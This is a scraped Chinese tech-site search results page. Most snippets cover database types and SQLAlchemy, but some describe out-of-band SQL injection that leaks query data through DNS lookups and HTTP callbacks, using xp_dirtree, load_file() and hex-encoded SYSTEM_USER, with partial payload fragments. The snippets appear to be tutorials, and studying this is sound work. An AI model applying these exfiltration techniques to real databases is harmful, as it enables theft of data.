首页
学习
活动
专区
圈层
工具
发布

SqlAlchemy 2.0 中文文档(八十)

本地 Unicode 模式 随着更多的 DBAPI 支持直接返回 Python Unicode 对象,基本方言现在在第一次连接时执行检查,以确定 DBAPI 是否为基本的 VARCHAR 值的基本选择返回...对于 BINARY 和 VARBINARY,它们直接存在于 types.BINARY、types.VARBINARY,以及 MySQL 和 MS-SQL 方言中。...对于 BINARY 和 VARBINARY,直接使用 types.BINARY、types.VARBINARY,以及在 MySQL 和 MS-SQL 方言中。...本地 Unicode 模式 随着越来越多的 DBAPI 支持直接返回 Python Unicode 对象,基本方言现在在第一次连接时执行检查,以确定 DBAPI 是否为 VARCHAR 值的基本选择返回...对于 BINARY 和 VARBINARY,它们直接存在于 types.BINARY、types.VARBINARY,以及 MySQL 和 MS-SQL 方言中。

2K10
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Dnslog与Http外带

    存储在DNS 服务器上的域名信息, 记录着用户对域名的访问信息,类似日志文件 DNSLOG利用原理 DNSLOG 是解析日志, DNS分为三级域名, 域名不区分大小写, 所以利用解析的日志把攻击者需要的值带出...master..xp_dirtree @a-- 由于varbinary()函数只能执行出32个位字符,无法显示全部,所以需要对查询内容进行截取 使用函数: substring('条件语句',开始,结束...条件 前提:开启端口监听,是目标机能够访问到攻击者IP python3 -m http://192.168.1.1:9000 构造 payload ;DECLARE @okma VARCHAR(8000...利用条件 服务器必须能正常访问联网 mysql的配置文件secure_file_priv="" 读取文件并返回文件内容为字符串。...如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

    1.9K30

    SqlAlchemy 2.0 中文文档(七十九)

    #2036 MS-SQL - String/Unicode/VARCHAR/NVARCHAR/VARBINARY 在未指定长度时发出“max” 在 MS-SQL 后端,String/Unicode 类型及其对应的...#2036 MS-SQL - String/Unicode/VARCHAR/NVARCHAR/VARBINARY在未指定长度时发出“max” 在 MS-SQL 后端,String/Unicode 类型及其对应的...#2036 MS-SQL - String/Unicode/VARCHAR/NVARCHAR/VARBINARY在没有长度时发出“max” 在 MS-SQL 后端,String/Unicode 类型及其对应的...确保所有后端一致地对这些值在 result.inserted_primary_key 中返回 None - 一些后端以前可能返回了一个值。在主键列上使用 server_default 是极不常见的。...确保所有后端一致地在 result.inserted_primary_key 中为这些值返回 None-一些后端以前可能返回了一个值。 在主键列上使用 server_default 是极不寻常的。

    1K10

    MySQL系列之字符类型学习笔记

    ,也是根据设置的值N,假如N设置为10,不管你传什么范围内的字符串,都是固定长度为10的,因为数据库为存储列的右边进行填充(Right padded),而在读取时候数据库又会自动将填充的字符删除.除非设置...10)的列,我写字符串“abcd“,该列存储的4个字符,而char(10)的列才会存储10个字符 四、BINARY和VARBINARY 4.1、特性对比 BINARY(N)和VARBINARY(N)与前面介绍的...对比: 不同的是BINARY和VARBINARY存储的都是二进制类型的字符串,CHAR和VARCHAR存储的才是字符类型的字符串 BINARY和VARBINARY没有字符集的概念,CHAR和VARCHAR...进行字符比较时,是比较本身存储的字符,忽略填充的字符的,而BINARY和VARBINARY是不忽略的,比较的是二进制值的 4.2、例子实践 SELECT HEX('a'), HEX('a ')...,发现sex字段没值 select * from t ; # 设置严格模式的 SET SQL_MODE = 'strict_trans_tables'; # 再次写数据,发现不可以写 INSERT INTO

    72120

    MySQL字符类型学习笔记

    ,也是根据设置的值N,假如N设置为10,不管你传什么范围内的字符串,都是固定长度为10的,因为数据库为存储列的右边进行填充(Right padded),而在读取时候数据库又会自动将填充的字符删除.除非设置...和VARBINARY 4.1、特性对比 BINARY(N)和VARBINARY(N)与前面介绍的CHAR(N)和VARCHAR(N)类型有点类似,BINARY可类比CHAR,VARBINARY可以类比VARCHAR...对比: 不同的是BINARY和VARBINARY存储的都是二进制类型的字符串,CHAR和VARCHAR存储的才是字符类型的字符串 BINARY和VARBINARY没有字符集的概念,CHAR和VARCHAR...进行字符比较时,是比较本身存储的字符,忽略填充的字符的,而BINARY和VARBINARY是不忽略的,比较的是二进制值的 4.2、例子实践 SELECT HEX('a'), HEX('a ')...,发现sex字段没值 select * from t ; # 设置严格模式的 SET SQL_MODE = 'strict_trans_tables'; # 再次写数据,发现不可以写 INSERT INTO

    82210

    技术分享|Dnslog与Http外带

    : DNS的日志, 存储在DNS 服务器上的域名信息, 记录着用户对域名的访问信息,类似日志文件 DNSLOG利用原理 DNSLOG 是解析日志, DNS分为三级域名, 域名不区分大小写, 所以利用解析的日志把攻击者需要的值带出...master..xp_dirtree @a-- 由于varbinary()函数只能执行出32个位字符,无法显示全部,所以需要对查询内容进行截取 使用函数: substring('条件语句',开始,结束...在windows下注入外带 通过查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中...利用条件 服务器必须能正常访问联网 mysql的配置文件secure_file_priv="" 读取文件并返回文件内容为字符串。...如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

    3.5K10

    MSSQL之四 简单查询

    在Microsoft SQL Server 2008系统中,需要使用数据类型的对象包括表中的列、视图中的列、定义的局部变量、存储过程中的参数、Transact-SQL函数及存储过程的返回值等。...BINARY(n)和VARBINARY(n)的数据长度由n值来确定,n的取值范围是1至8000。IMAGE数据类型用于存储图像信息。...表中的列名并没有改变,早输入SQL语句的时候没注意标点符号一定要在半角状态下输入。...WHERE子句指定逻辑表达式(返回值为真或假的表达式),结果集将返回表达式为真的数据行。 在WHERE子句中,可以包含比较运算符、逻辑运算符。比较运算符有=(等于)、(不等于)、!...IS NULL关键字被用来抽取漏掉的值。 12. ORDER BY 关键字被用来以特定的顺序抽取数据。 13. TOP 关键字仅抽取行的前面集合,它可以是来自查询结果返回的数字或行百分比。

    1.4K10

    SQL笔记(3)——MySQL数据类型

    但是,与使用其他常规数据类型相比,使用VARBINARY数据类型时需要更加小心,因为它们需要更多的内存和处理器时间。此外,对VARBINARY类型数据的查询操作也需要特殊的处理方式。...在以上场景中,由于需要存储的数据量较小,使用TINYBLOB类型可以起到节约存储空间、提高数据库性能的作用。另外,在存储二进制数据时,应该注意进行合适的编码及格式转换,确保数据的正确性和完整性。...同时也需要注意,在进行查询和排序等操作时,可以使用枚举值的整数值而不是字符串值,以提高查询效率。 集合类型 SET MySQL中的SET类型是一种用于存储集合值的数据类型。...同时也需要注意,在进行查询和排序等操作时,可以使用集合值的二进制值而不是字符串值,以提高查询效率。...SELECT TIME('2022-06-30 12:30:45'); -- 返回值为 '12:30:45' NOW():返回当前的日期和时间。

    2.9K50

    MySQL(四)之MySQL数据类型

    还有一点,这个显示宽度没限制,你写100度没问题,但是插入数据时,实际起控制作用的还是数据类型的取值范围。...在插入该数值时,有两种方式,一种是用字符串来代表插入的YEAR值,另一种是用数字代表YEAR值,其中字符串插入的可以用单引号和双引号,没区别,               跟一些程序设计语言不一样,单个字符就必须用单引号...注意:这里插入数据和查询数据操作还没学过,如果不知道,可以暂时跳过,直接看结论。 ?              如果向表中插入超出范围的值,2166则会报错 ?           ...CURRENT_DATE()返回的是当前系统的日期 格式 YYYY-MM-DD 所以在前面打印YEAR和DATE度可以用到该函数,因为包含了其数据类型所要的信息              NOE()返回当前系统的日期和时间值...,检索时再转换回当前                时区,也就是查询时,会根据当前时区的不同,显示的时间值不同。

    8.8K102

    酒店管理系统可视化开发实战

    如多个远程下拉组件应该做一次就好等接口调用说明为了方便,字段名就随意定义,接口都使用 post 请求方式, 以及任意域都可以访问(任何人都可以直接访问,可以用于前端项目练习接口)登录接口不需要校验 token,调用成功会返回正确的...token,其它接口会校验请求的 header 中是否有正确的 token 信息接口 base 路径:https://test.light2f.com/test/接口返回的数据结构:{ code..., //页数pageSize: number //每页大小注意 每个分页查询返回的数据结构中的 data 也是相同如下:{ current: number, //当前页数 size: number..., //每页大小 total: number,//查询的总数 records: any[], //查询出来的数据,后续分页查询出的数据只解释此单个对象}接口说明下面是各个接口的路径、入参、返回数据的详情登录...: string, //房间号 typeId: number, //房间类型主键 roomStatus: 'empty', //固定值,空房}选择会员的选项 调用 会员管理 - 查询,参数:

    78840

    MySQL敏感数据加密及解密「建议收藏」

    大数据时代的到来,数据成为企业最重要的资产之一,数据加密的也是保护数据资产的重要手段。本文主要在结合学习通过MySQL函数及Python加密方法来演示数据加密的一些简单方式。...2.1 MySQL加密 将明文表中的数据插入到f_user_m中,同时对pwd密码字段进行加密存储,注意要记住加密的字符串,因为解密的时候要用到这个值。...for column 'pwd' at row 1 可以用如下三种方式处理: 1) 加密后的数据在utf8字符集下必须存放在varbinary/binary/blob等二进制字段属性的字段中,故上文中密码字段的类型设置为...03 Python base64加密方法 3.1 使用Python的encodestring方法加密 编写python脚本,将数据加密后插入表中 #!...v_name,v_tel,v_pwd) sor_cur.execute(v_sql_insert) sor_conn.commit() sor_conn.close() 查询加密后的数据如下

    6.6K11

    MySQL敏感数据加密及解密

    大数据时代的到来,数据成为企业最重要的资产之一,数据加密的也是保护数据资产的重要手段。本文主要在结合学习通过MySQL函数及Python加密方法来演示数据加密的一些简单方式。...2.1 MySQL加密 将明文表中的数据插入到f_user_m中,同时对pwd密码字段进行加密存储,注意要记住加密的字符串,因为解密的时候要用到这个值。...for column 'pwd' at row 1 可以用如下三种方式处理: 1) 加密后的数据在utf8字符集下必须存放在varbinary/binary/blob等二进制字段属性的字段中,故上文中密码字段的类型设置为...03 Python base64加密方法 3.1 使用Python的encodestring方法加密 编写python脚本,将数据加密后插入表中 #!...v_name,v_tel,v_pwd) sor_cur.execute(v_sql_insert) sor_conn.commit() sor_conn.close() 查询加密后的数据如下

    3.5K20

    OOB(out of band)分析系列之DNS渗漏

    (因为我喜欢php,所以用PDO作为基准,而PDO只会返回第一条SQL语句的执行结果, 所以一般不能直接拿到数据,一般都是通过update某个可见字段或者sleep注入,所以我归为inference类)...利用DNS偷走数据 当说这个之前,你需要知道DNS的原理: 实际上复杂的多,是一个分级查询。先向根域名服务器查询顶级域名服务器,然后顶级域名服务器查询次级域名,这样一层层查询下来的。...一般会把希望传递的数据转化成能被dns正确处理的格式,比如变成16进制。mssql内置了一个名为fn_varbintohexstr的函数,它接收一个字符串作为参数并返回这个字符串的16进制表示。...比如:select master.dbo.fn_varbintohexstr(cast(SYSTEM_USER as VARBINARY))。...master..xp_dirtree @xiaoze; 由于dns查询会先查看本地缓存,所以为了能成功发出查询,建议在请求中加入一些随机值,比如我在我自己写的工具里面,随机值是我老婆每个月的月经时间,

    2K60
    领券